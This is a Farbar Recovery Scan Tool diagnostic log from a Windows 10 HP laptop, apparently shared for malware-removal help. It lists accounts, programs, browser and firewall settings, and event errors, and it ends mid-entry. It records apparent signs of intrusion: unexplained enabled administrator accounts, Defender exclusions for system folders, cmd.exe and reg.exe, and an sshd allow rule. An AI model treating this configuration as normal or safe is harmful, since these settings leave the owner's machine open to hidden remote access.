Additional scan result of Farbar Recovery Scan Tool (x64) Version: 03-08-2026 01 Ran by PG (05-08-2026 03:13:07) Running from C:\Users\PG\Downloads Microsoft Windows 10 Home Version 22H2 19045.6216 (X64) (2023-12-19 02:47:14) Boot Mode: Normal ========================================================== ==================== Accounts: ============================= (If an entry is included in the fixlist, it will be removed.) Administrator (S-1-5-21-3754613442-372446698-354282701-500 - Administrators - Disabled) DefaultAccount (S-1-5-21-3754613442-372446698-354282701-503 - Limited - Disabled) Guest (S-1-5-21-3754613442-372446698-354282701-501 - Limited - Disabled) LtH2a71mAsY (DisplayName: ) (S-1-5-21-3754613442-372446698-354282701-1002 - Administrators - Enabled) PG (DisplayName: ) (S-1-5-21-3754613442-372446698-354282701-1001 - Administrators - Enabled) => C:\Users\PG WDAGUtilityAccount (S-1-5-21-3754613442-372446698-354282701-504 - Limited - Disabled) WindowsUpdate (DisplayName: ) (S-1-5-21-3754613442-372446698-354282701-1003 - Administrators - Enabled) ==================== Security Center ======================== (If an entry is included in the fixlist, it will be removed.) AV: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} AS: Windows Defender (Enabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46} FW: McAfee (Enabled) {2FDD6819-222E-5E9F-F5E7-E13A2241D502} ==================== Installed Programs ====================== (Only the adware programs with "Hidden" flag could be added to the fixlist to unhide them. The adware programs should be uninstalled manually.) Bonjour (HKLM\...\{6E3610B2-430D-4EB0-81E3-2B57E8B9DE8D}) (Version: 3.0.0.10 - Apple Inc.) Copilot (HKLM-x32\...\Microsoft Copilot) (Version: 150.0.4078.96 - Microsoft Corporation) Energy Star (HKLM\...\{5CB22648-35F8-41BC-9C35-1E41FE6E12A5}) (Version: 1.1.1 - HP Inc.) e-Sword (HKLM-x32\...\{30589E5B-46DD-446F-B3DA-5D9F5AE5CC3E}) (Version: 13.00.0000 - Rick Meyers) Google Earth Pro (HKLM\...\{4A9999DE-348E-4AB5-B90F-45E6397B1B95}) (Version: 7.3.7.1094 - Google) HP Audio Switch (HKLM-x32\...\{BC852AA8-58F6-4F07-ACB1-7377E52CA4F3}) (Version: 1.0.150.0 - HP Inc.) HP Connection Optimizer (HKLM-x32\...\{6468C4A5-E47E-405F-B675-A70A70983EA6}) (Version: 2.0.11.0 - HP Inc.) HP Customer Experience Enhancements (HKLM-x32\...\{9720A595-3D2D-440E-9523-0B6F970745DD}) (Version: 6.0.11.1 - HP Inc.) Hidden HP Documentation (HKLM\...\HP_Documentation) (Version: 1.0.0.1 - HP Inc.) HP ePrint SW (HKLM\...\{16311D0B-D57C-46F8-AE64-9D4D44227271}) (Version: 5.5.22560 - HP Inc.) Hidden HP ePrint SW (HKLM\...\{4C246A91-6BAE-450E-BDEA-70D01663DF43}) (Version: 5.5.22560 - HP Inc.) Hidden HP ePrint SW (HKLM\...\{78525DEA-1E62-429B-9CA4-A78F899A9F29}) (Version: 5.5.22560 - HP Inc.) Hidden HP ePrint SW (HKLM\...\{B2CFD444-5088-4ECC-A1F1-28620C082C36}) (Version: 5.5.22560 - HP Inc.) Hidden HP ePrint SW (HKLM-x32\...\{3D00C669-D447-4A04-AFDA-25E9E76E7873}) (Version: 5.5.22560 - HP Inc.) Hidden HP ePrint SW (HKLM-x32\...\{59649835-21FD-4523-9AB0-9E67ED77F0CA}) (Version: 5.5.22560 - HP Inc.) Hidden HP ePrint SW (HKLM-x32\...\{cdb5f70f-5107-4613-bf69-15de903b5b5d}) (Version: 5.5.22560 - HP Inc.) HP JumpStart Apps (HKLM-x32\...\HP JumpStart Apps) (Version: 7.0.32 - HP Inc.) HP JumpStart Bridge (HKLM-x32\...\{3FC961DB-BD36-4D8D-B276-0C456A2BB638}) (Version: 1.4.0.441 - HP Inc.) HP JumpStart Launch (HKLM-x32\...\{F213102E-FD30-4E22-AF73-4C682D65FFEE}) (Version: 1.4.441.0 - HP Inc.) HP Recovery Manager (HKLM-x32\...\{64BAA990-F1FC-4145-A7B1-E41FBBC9DA47}) (Version: 1.2.1511 - HP) Hidden HP Registration Service (HKLM-x32\...\{4E097B06-83A0-4CDD-A9DB-22F0744FE16A}) (Version: 1.0.0.43 - HP Inc.) Hidden HP Support Assistant (HKLM-x32\...\{4AAC4B07-77EF-4BCF-88DC-D24E4DE683E8}) (Version: 8.5.37.19 - HP Inc.) HP Support Solutions Framework (HKLM-x32\...\{63F82052-C045-4F97-A3CA-C41D2CCA1FFA}) (Version: 12.8.37.11 - HP Inc.) HP System Event Utility (HKLM-x32\...\{5D308D1F-E37B-431A-8D35-67D16287467D}) (Version: 1.4.28 - HP Inc.) Intel(R) Chipset Device Software (HKLM\...\{7FB35D08-C75C-4A18-B593-1D7C3E8970AD}) (Version: 10.1.1.45 - Intel Corporation) Hidden Intel(R) Chipset Device Software (HKLM-x32\...\{44ded3eb-1686-46a6-9770-fd79096c29f7}) (Version: 10.1.1.45 - Intel(R) Corporation) Hidden Intel(R) Dynamic Platform and Thermal Framework (HKLM-x32\...\{654EE65D-FAA4-4EA6-8C07-DC94E6A304D4}) (Version: 8.3.10207.5567 - Intel Corporation) Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.7.0.1061 - Intel Corporation) Intel(R) Management Engine Components (HKLM\...\{5E21AB91-2EF8-4E8A-BA33-515E667CDC4B}) (Version: 1.0.0.0 - Intel Corporation) Hidden Intel(R) Management Engine Components (HKLM\...\{EB67ED3E-E5CA-4F35-8D2D-F0EF10802DBF}) (Version: 1.0.0.0 - Intel Corporation) Hidden Intel(R) Management Engine Driver (HKLM\...\{42625EDB-9CF1-421C-8540-0E66F1402DEC}) (Version: 1.0.0.0 - Intel Corporation) Hidden Intel(R) ME UninstallLegacy (HKLM\...\{E9B9A1A5-6398-4C99-8FDE-10794F6505C5}) (Version: 1.0.1.0 - Intel Corporation) Hidden Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 24.20.100.6025 - Intel Corporation) Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 16.0.2.1086 - Intel Corporation) Intel(R) Rapid Storage Technology (HKLM\...\{64A94A93-B0C4-4B16-8CDC-FDB06E8CC306}) (Version: 16.0.2.1086 - Intel Corporation) Hidden Intel(R) Serial IO (HKLM\...\{9FD91C5C-44AE-4D9D-85BE-AE52816B0294}) (Version: 30.100.1725.1 - Intel Corporation) Intel(R) Serial IO (HKLM\...\{FBC819D6-78B6-49AB-931E-3D127D43BE64}) (Version: 30.100.1725.1 - Intel Corporation) Hidden Intel(R) Trusted Connect Service Client x64 (HKLM\...\{C9552825-7BF2-4344-BA91-D3CD46F4C442}) (Version: 1.48.197.0 - Intel Corporation) Hidden Intel(R) Trusted Connect Service Client x86 (HKLM-x32\...\{C9552825-7BF2-4344-BA91-D3CD46F4C441}) (Version: 1.48.197.0 - Intel Corporation) Hidden Intel(R) Trusted Connect Services Client (HKLM-x32\...\{66129f84-d3f0-4884-ac54-369ae6fc2cf6}) (Version: 1.48.197.0 - Intel Corporation) Hidden Intel(R) Virtual Buttons (HKLM-x32\...\1992736F-C90A-481C-B21B-EE34CAD07387) (Version: 2.2.1.31 - Intel Corporation) Intel® Integrated Sensor Solution (HKLM-x32\...\{cdb3fee9-918a-4ccd-8eec-b6f766e1d5ad}) (Version: 3.10.100.3524 - Intel Corporation) ISS_Drivers_x64 (HKLM\...\{93073382-D2C1-4CDC-AA1D-DED948E35C1D}) (Version: 3.10.100.3524 - Intel Corporation) Hidden Microsoft Edge (HKLM-x32\...\Microsoft Edge) (Version: 151.0.4129.59 - Microsoft Corporation) Microsoft Edge WebView2 Runtime (HKLM-x32\...\Microsoft EdgeWebView) (Version: 151.0.4129.59 - Microsoft Corporation) Hidden Microsoft OneDrive (HKU\S-1-5-21-3754613442-372446698-354282701-1001\...\OneDriveSetup.exe) (Version: 26.123.0628.0001 - Microsoft Corporation) Microsoft Update Health Tools (HKLM\...\{1FC1A6C2-576E-489A-9B4A-92D21F542136}) (Version: 3.74.0.0 - Microsoft Corporation) Microsoft VC++ redistributables repacked. (HKLM\...\{ED4D7D2E-A64D-4C3A-A8B9-B27CE153A2A6}) (Version: 12.0.0.0 - Intel Corporation) Hidden Microsoft VC++ redistributables repacked. (HKLM-x32\...\{599ED608-BADF-4C3D-9172-EA5E06386EF6}) (Version: 12.0.0.0 - Intel Corporation) Hidden Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation) Microsoft Visual C++ 2013 x64 Additional Runtime - 12.0.21005 (HKLM\...\{929FBD26-9020-399B-9A7A-751D61F0B942}) (Version: 12.0.21005 - Microsoft Corporation) Hidden Microsoft Visual C++ 2013 x64 Minimum Runtime - 12.0.21005 (HKLM\...\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}) (Version: 12.0.21005 - Microsoft Corporation) Hidden Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (HKLM-x32\...\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}) (Version: 12.0.21005 - Microsoft Corporation) Hidden Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (HKLM-x32\...\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}) (Version: 12.0.21005 - Microsoft Corporation) Hidden Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation) Microsoft Visual C++ 2015 x86 Additional Runtime - 14.0.24215 (HKLM-x32\...\{69BCE4AC-9572-3271-A2FB-9423BDA36A43}) (Version: 14.0.24215 - Microsoft Corporation) Hidden Microsoft Visual C++ 2015 x86 Minimum Runtime - 14.0.24215 (HKLM-x32\...\{BBF2AC74-720C-3CB3-8291-5E34039232FA}) (Version: 14.0.24215 - Microsoft Corporation) Hidden Microsoft Visual C++ 2022 X64 Additional Runtime - 14.50.35719 (HKLM\...\{AECD4ED0-8A3B-41E9-92D1-6BEE0374CCAF}) (Version: 14.50.35719 - Microsoft Corporation) Hidden Microsoft Visual C++ 2022 X64 Minimum Runtime - 14.50.35719 (HKLM\...\{61B44572-8722-4DAF-8ACF-8E742D30BCC5}) (Version: 14.50.35719 - Microsoft Corporation) Hidden Microsoft Visual C++ v14 Redistributable (x64) - 14.50.35719 (HKLM-x32\...\{91ee571b-0e8a-4c65-9eaf-2e2f5fc60c00}) (Version: 14.50.35719.0 - Microsoft Corporation) OpenSSH (HKLM\...\{09EA4315-F93B-4FFC-B3D6-165483794EA0}) (Version: 9.8.1.0 - Microsoft Corporation) REALTEK Bluetooth Driver (HKLM-x32\...\{9D3D8C60-A5EF-4123-B2B9-172095903AB}) (Version: 1.0.0.88 - REALTEK Semiconductor Corp.) Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.8437 - Realtek Semiconductor Corp.) REALTEK Wireless LAN Driver (HKLM-x32\...\{A5107464-AA9B-4177-8129-5FF2F42DD322}) (Version: 1.0.0.113 - REALTEK Semiconductor Corp.) Synaptics ClickPad Driver (HKLM\...\SynTPDeinstKey) (Version: 19.5.10.69 - Synaptics Incorporated) Synaptics WBF FP Reader (HKLM\...\{CEE492C3-6673-44AB-827B-1F2412EDE8B1}) (Version: 5.5.5.1093 - Synaptics Incorporated) Telegram Desktop (HKU\S-1-5-21-3754613442-372446698-354282701-1001\...\{53F49750-6209-4FBF-9CA8-7A333C87D1ED}_is1) (Version: 6.7.8 - Telegram FZ-LLC) Update for x64-based Windows Systems (KB5001716) (HKLM\...\{B8D93870-98D1-4980-AFCA-E26563CDFB79}) (Version: 8.94.0.0 - Microsoft Corporation) Vulkan Run Time Libraries 1.1.70.1 (HKLM\...\VulkanRT1.1.70.1) (Version: 1.1.70.1 - LunarG, Inc.) Hidden WebAdvisor by McAfee (HKLM-x32\...\{35ED3F83-4BDC-4c44-8EC6-6A8301C7413A}) (Version: 4.1.2.109 - McAfee, LLC) Windows 11 Installation Assistant (HKLM-x32\...\{115DF11E-4B4C-4EA9-9A79-00DB0C7EF02D}) (Version: 1.4.19041.6448 - Microsoft Corporation) Windows PC Health Check (HKLM\...\{B008D72C-0326-421E-BB2F-98BA5F9DDE9C}) (Version: 4.0.2410.23001 - Microsoft Corporation) Packages: ========= Amazon -> C:\Program Files\WindowsApps\Amazon.com.Amazon_2018.519.2815.0_x64__343d40qqvtj1t [2023-12-19] (Amazon.com) Candy Crush Saga -> C:\Program Files\WindowsApps\king.com.CandyCrushSaga_1.3331.1.0_x64__kgqvnymyfvs32 [2026-07-30] (king.com) Candy Crush Soda Saga -> C:\Program Files\WindowsApps\king.com.CandyCrushSodaSaga_1.323.300.0_x64__kgqvnymyfvs32 [2026-07-24] (king.com) Dropbox promotion -> C:\Program Files\WindowsApps\C27EB4BA.DropboxOEM_23.4.38.0_x64__xbfy0k16fey96 [2026-07-24] (Dropbox Inc.) Free Unlimited Jigsaw Puzzles -> C:\Program Files\WindowsApps\5259FreeSoftwareApps.FreeUnlimitedJigsawPuzzles_1.2.0.0_x64__nzrphq7phantj [2026-07-14] (Free Software Apps) HP Audio Control -> C:\Program Files\WindowsApps\RealtekSemiconductorCorp.HPAudioControl_2.36.273.0_x64__dt26b99r8h8gj [2023-12-19] (Realtek Semiconductor Corp) HP Command Center -> C:\Program Files\WindowsApps\AD2F1837.HPThermalControl_1.11.60.0_x64__v10z8vjag6ke6 [2024-06-08] (HP Inc.) HP JumpStart -> C:\Program Files\WindowsApps\AD2F1837.HPJumpStart_1.4.481.0_x86__v10z8vjag6ke6 [2023-12-19] (HP Inc.) HP PC Hardware Diagnostics Windows -> C:\Program Files\WindowsApps\AD2F1837.HPPCHardwareDiagnosticsWindows_3.1.1.0_x64__v10z8vjag6ke6 [2026-05-20] (HP Inc.) Intel® Optane™ Memory and Storage Management -> C:\Program Files\WindowsApps\AppUp.IntelOptaneMemoryandStorageManagement_18.1.1042.0_x64__8j3eq9eme6ctt [2025-04-24] (INTEL CORP) LinkedIn -> C:\Program Files\WindowsApps\7EE7776C.LinkedInforWindows_3.0.43.0_x64__w1wdnht996qgy [2025-12-20] (LinkedIn) [Startup Task] Microsoft Sudoku -> C:\Program Files\WindowsApps\Microsoft.MicrosoftSudoku_2.13.5191.0_x64__8wekyb3d8bbwe [2026-05-28] (Microsoft Studios) Neat Office -> C:\Program Files\WindowsApps\15191PeakPlayer.NeatOffice_3.4.12.0_x64__y5c4dfz5b21fm [2026-02-19] (Any DVD & Office App) [Startup Task] Netflix -> C:\Program Files\WindowsApps\4DF9E0F8.Netflix_7.0.8.0_neutral__mcm4njqhnhss8 [2024-07-15] (Netflix, Inc.) Priceline.com: The Best Deals on Hotels, Flights and Rental Cars -> C:\Program Files\WindowsApps\PricelinePartnerNetwork.Priceline.comTheBestDealso_2.0.5.0_x64__mgae2k3ys4ra0 [2023-12-19] (Priceline Partner Network) Simple Solitaire -> C:\Program Files\WindowsApps\26720RandomSaladGamesLLC.SimpleSolitaire_7.5.40.0_x64__kx24dqmazqk8j [2026-02-06] (Random Salad Games LLC) Synaptics TouchPad -> C:\Program Files\WindowsApps\synapticsincorporated.synhpconsumerdapp_19005.35054.0.0_x64__807d65c4rvak2 [2023-12-19] (Synaptics Incorporated) TikTok -> C:\Program Files\WindowsApps\BytedancePte.Ltd.TikTok_1.0.5.0_neutral__6yccndn6064se [2026-08-02] (Bytedance Pte. Ltd.) WinAppRuntime.Singleton -> C:\Program Files\WindowsApps\MicrosoftCorporationII.WinAppRuntime.Singleton_8002.3.0.0_x64__8wekyb3d8bbwe [2026-07-16] (Microsoft Corp.) Windows App Runtime DDLM 4000.964.11.0-x6 -> C:\Program Files\WindowsApps\Microsoft.WinAppRuntime.DDLM.4000.964.11.0-x6_4000.964.11.0_x64__8wekyb3d8bbwe [2023-12-24] (Microsoft Corporation) Windows App Runtime DDLM 4000.964.11.0-x8 -> C:\Program Files\WindowsApps\Microsoft.WinAppRuntime.DDLM.4000.964.11.0-x8_4000.964.11.0_x86__8wekyb3d8bbwe [2023-12-24] (Microsoft Corporation) ==================== Custom CLSID (Whitelisted): ============== (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.) ShellIconOverlayIdentifiers: [ OptaneIconOverlay] -> {A3AF6F6C-8BED-3D93-8B5D-33427B5D38E9} => C:\WINDOWS\System32\DriverStore\FileRepository\iastorpinningcomponent.inf_amd64_59691a4ee8d947dd\OptaneShellExt.dll [2021-10-12] (Intel Corporation -> ) ContextMenuHandlers3: [OptaneContextMenu] -> {AD7EBB13-617D-3270-8FA8-46583499C4FB} => C:\WINDOWS\System32\DriverStore\FileRepository\iastorpinningcomponent.inf_amd64_59691a4ee8d947dd\OptaneShellExt.dll [2021-10-12] (Intel Corporation -> ) ContextMenuHandlers5: [igfxcui] -> {3AB1675A-CCFF-11D2-8B20-00A0C93CB1F4} => -> No File ContextMenuHandlers5: [igfxDTCM] -> {9B5F5829-A529-4B12-814A-E81BCB8D93FC} => C:\WINDOWS\System32\DriverStore\FileRepository\igdlh64.inf_amd64_1c41cc68747d972b\igfxDTCM.dll [2019-02-18] (Microsoft Windows Hardware Compatibility Publisher -> Intel Corporation) ==================== Codecs (Whitelisted) ==================== ==================== Shortcuts & WMI ======================== ==================== Loaded Modules (Whitelisted) ============= 2025-08-13 19:51 - 2025-08-13 19:51 - 000160768 _____ () [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\BRIDGECommon\f9753cd377d9f88c430814bb10273df1\BRIDGECommon.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 000125440 _____ () [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\BridgeExtension\f52f77688c33ede257474a81b7e8a7c0\BridgeExtension.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 000395264 _____ () [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\CleanStartController\f3e4f7f2229a5d7d46df4d4a390ade23\CleanStartController.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 000138240 _____ () [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\Interop.IWs06dcaa36#\3b38289e98692f75f323790bcbffbc58\Interop.IWshRuntimeLibrary.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 000145920 _____ () [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\Registratio4eabc192#\91dd3e8b212847ebf48a9c78dfd1d5c7\RegistrationUtilities.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 000134656 _____ (hardcodet.net) [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\Hardcodet.W6cab32f3#\12c27ac81744fd092b15575e18668fc1\Hardcodet.Wpf.TaskbarNotification.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 000136704 _____ (HP Inc.) [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\CommonPortable\ed2176dff440e872252858cbf0fd7c94\CommonPortable.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 001585664 _____ (Mark Heath) [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\NAudio\7c0c2e955451f6fe709bd443ea67fc8d\NAudio.ni.dll 2025-04-23 18:29 - 2025-04-23 18:29 - 002305536 _____ (Newtonsoft) [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\Newtonsoft.Json\97f5884e2a2862b5e4c92679a439b283\Newtonsoft.Json.ni.dll 2025-04-23 18:30 - 2025-04-23 18:30 - 000792064 _____ (The Apache Software Foundation) [File not signed] C:\WINDOWS\assembly\NativeImages_v4.0.30319_32\log4net\489945b36639fb3aaf5785f4a09bdad1\log4net.ni.dll ==================== Alternate Data Streams (Whitelisted) ======== ==================== Safe Mode (Whitelisted) ================== ==================== Association (Whitelisted) ================= ==================== Internet Explorer (Whitelisted) ============= HKLM\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://hp17win10.msn.com/?pc=HCTE HKLM\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://hp17win10.msn.com/?pc=HCTE HKU\S-1-5-21-3754613442-372446698-354282701-1001\Software\Microsoft\Internet Explorer\Main,Start Page = hxxp://hp17win10.msn.com/?pc=HCTE HKU\S-1-5-21-3754613442-372446698-354282701-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = hxxp://hp17win10.msn.com/?pc=HCTE SearchScopes: HKLM -> {E9D3EE36-AA95-4260-86FF-D8B0CB39006D} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms} SearchScopes: HKLM-x32 -> {E9D3EE36-AA95-4260-86FF-D8B0CB39006D} URL = hxxp://www.amazon.com/s/ref=azs_osd_iea?ie=UTF-8&tag=hp-us2-vsb-20&link%5Fcode=qs&index=aps&field-keywords={searchTerms} SearchScopes: HKU\S-1-5-21-3754613442-372446698-354282701-1001 -> DefaultScope {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = SearchScopes: HKU\S-1-5-21-3754613442-372446698-354282701-1001 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL = BHO: HP Network Check Helper -> {E76FD755-C1BA-4DCB-9F13-99BD91223ADE} -> C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPNetworkCheck\HPNetworkCheckPluginx64.dll [2017-09-27] (HP Inc. -> HP Inc.) BHO-x32: HP Network Check Helper -> {E76FD755-C1BA-4DCB-9F13-99BD91223ADE} -> C:\Program Files (x86)\Hewlett-Packard\HP Support Framework\Resources\HPNetworkCheck\HPNetworkCheckPlugin.dll [2017-09-27] (HP Inc. -> HP Inc.) ==================== Hosts content: ========================= (If needed Hosts: directive could be included in the fixlist to reset Hosts.) 2018-04-11 18:38 - 2018-04-11 18:36 - 000000824 _____ C:\WINDOWS\system32\drivers\etc\hosts ==================== Network =========================== (Currently there is no automatic fix for this section.) DNS Servers: 192.168.12.1 Windows Firewall is enabled. Network Binding: ============= Wi-Fi: Realtek RTL8822BE 802.11ac PCIe Adapter -> rtwlane.sys Bluetooth Network Connection: Bluetooth Device (Personal Area Network) -> bthpan.sys ==================== Other Areas =========================== (Currently there is no automatic fix for this section.) HKLM\System\CurrentControlSet\Control\Session Manager\Environment\\Path -> C:\Program Files\OpenSSH;C:\Program Files (x86)\OpenSSH;C:\WINDOWS\system32;C:\WINDOWS\system32\wbem;C:\WINDOWS\system32\WindowsPowerShell\v1.0;C:\WINDOWS\Program Files (x86)\OpenSSH;C:\WINDOWS\Program Files\OpenSSH;C:\WINDOWS\system32\config\systemprofile\AppData\Local\Microsoft\WindowsApps;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0;C:\Program Files (x86)\OpenSSH;C:\Program Files\OpenSSH;C:\Program Files (x86)\Intel\Intel(R) Management Engine Components\iCLS;C:\Program Files\Intel\Intel(R);C:\Users\PG\AppData\Local\Microsoft\WindowsApps;C:\Users\PG\AppData\Local\Microsoft\WindowsApps; HKU\S-1-5-21-3754613442-372446698-354282701-1001\Control Panel\Desktop\\Wallpaper -> C:\WINDOWS\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\DesktopSpotlight\Assets\Images\image_2.jpg HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1) HKLM\SOFTWARE\Microsoft\Windows Defender\Features => (TamperProtection: 1) (TamperProtectionSource: 5) HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection => (DpaDisabled: 0) HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths|\C:\Users\PG HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths|\C:\WINDOWS\system32 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths|\C:\ProgramData HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths|C:\\WINDOWS\\System32\ HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths|C:\Users\PG HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths|C:\WINDOWS\system32 HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths|C:\ProgramData HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes|cmd.exe HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes|reg.exe ==================== MSCONFIG/TASK MANAGER disabled items == (If an entry is included in the fixlist, it will be removed.) HKLM\...\StartupApproved\Run32: => "HPMessageService" ==================== FirewallRules (Whitelisted) ================ (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.) FirewallRules: [TCP Query User{B28E87CE-A0FF-4902-8DD4-84746A894375}C:\program files (x86)\microsoft\edge\application\msedge.exe] => (Block) C:\program files (x86)\microsoft\edge\application\msedge.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [UDP Query User{95CA758B-5EDA-409D-9147-53D00FBC5CD7}C:\program files (x86)\microsoft\edge\application\msedge.exe] => (Block) C:\program files (x86)\microsoft\edge\application\msedge.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [sshd] => (Allow) LPort=109 ==================== Restore Points ========================= 03-08-2026 21:57:14 Scheduled Checkpoint ==================== Faulty Device Manager Devices ============ ==================== Event log errors: ======================== Application errors: ================== Error: (08/04/2026 10:55:47 PM) (Source: SecurityCenter) (EventID: 17) (User: ) Description: Security Center failed to validate caller with error %1. Error: (08/04/2026 09:33:54 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Faulting application name: Volume2.exe, version: 1.1.9.470, time stamp: 0x68cee9ba Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000 Exception code: 0xc0000409 Fault offset: 0x000002435a7f281d Faulting process id: 0x26d4 Faulting application start time: 0x01dd24824dc3e79e Faulting application path: C:\Users\PG\AppData\Roaming\Volume2\Volume2.exe Faulting module path: unknown Report Id: 1b8f5df9-ac5b-4519-90b5-9ea26ed6393e Faulting package full name: Faulting package-relative application ID: Error: (08/04/2026 08:44:32 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Faulting application name: Volume2.exe, version: 1.1.9.470, time stamp: 0x68cee9ba Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000 Exception code: 0xc0000409 Fault offset: 0x0000027adc98281d Faulting process id: 0x3fe0 Faulting application start time: 0x01dd247b01baa013 Faulting application path: C:\Users\PG\AppData\Roaming\Volume2\Volume2.exe Faulting module path: unknown Report Id: fa520162-0c31-4acf-b43b-65e3c58163ad Faulting package full name: Faulting package-relative application ID: Error: (08/04/2026 08:41:13 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Faulting application name: SecHealthUI.exe, version: 10.0.19041.6033, time stamp: 0xc0942000 Faulting module name: Windows.UI.Xaml.dll, version: 10.0.19041.6216, time stamp: 0xbe5a9a6b Exception code: 0xc000027b Fault offset: 0x0000000000723910 Faulting process id: 0x40b4 Faulting application start time: 0x01dd247b7452fb22 Faulting application path: C:\WINDOWS\SystemApps\Microsoft.Windows.SecHealthUI_cw5n1h2txyewy\SecHealthUI.exe Faulting module path: C:\Windows\System32\Windows.UI.Xaml.dll Report Id: 58124c55-6bf4-4891-a3fb-882cb63c1e4d Faulting package full name: Microsoft.Windows.SecHealthUI_10.0.19041.4239_neutral__cw5n1h2txyewy Faulting package-relative application ID: SecHealthUI Error: (08/04/2026 08:37:40 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Faulting application name: cmd.exe, version: 10.0.19041.4355, time stamp: 0xa7cb0dc0 Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000 Exception code: 0xc0000409 Fault offset: 0x000001d4bc8e2e1d Faulting process id: 0x3300 Faulting application start time: 0x01dd2479db385429 Faulting application path: C:\WINDOWS\system32\cmd.exe Faulting module path: unknown Report Id: 36e92fa0-6bff-4140-80ba-5c59916cbc84 Faulting package full name: Faulting package-relative application ID: Error: (08/04/2026 08:04:06 PM) (Source: Application Error) (EventID: 1000) (User: ) Description: Faulting application name: Volume2.exe, version: 1.1.9.470, time stamp: 0x68cee9ba Faulting module name: unknown, version: 0.0.0.0, time stamp: 0x00000000 Exception code: 0xc0000409 Fault offset: 0x00000236f867281d Faulting process id: 0x2430 Faulting application start time: 0x01dd2475a7d3cbcc Faulting application path: C:\Users\PG\AppData\Roaming\Volume2\Volume2.exe Faulting module path: unknown Report Id: 487b0277-ab38-4ecc-8007-182bd30caa5d Faulting package full name: Faulting package-relative application ID: Error: (08/04/2026 07:57:25 PM) (Source: VSS) (EventID: 8193) (User: ) Description: Volume Shadow Copy Service error: Unexpected error calling routine CoCreateInstance. hr = 0x8007045b, A system shutdown is in progress.. Error: (08/04/2026 07:57:25 PM) (Source: VSS) (EventID: 13) (User: ) Description: Volume Shadow Copy Service information: The COM Server with CLSID {4e14fba2-2e22-11d1-9964-00c04fbbb345} and name CEventSystem cannot be started. [0x8007045b, A system shutdown is in progress.] System errors: ============= Error: (08/05/2026 03:06:08 AM) (Source: DCOM) (EventID: 10001) (User: PGHP) Description: Unable to start a DCOM Server: 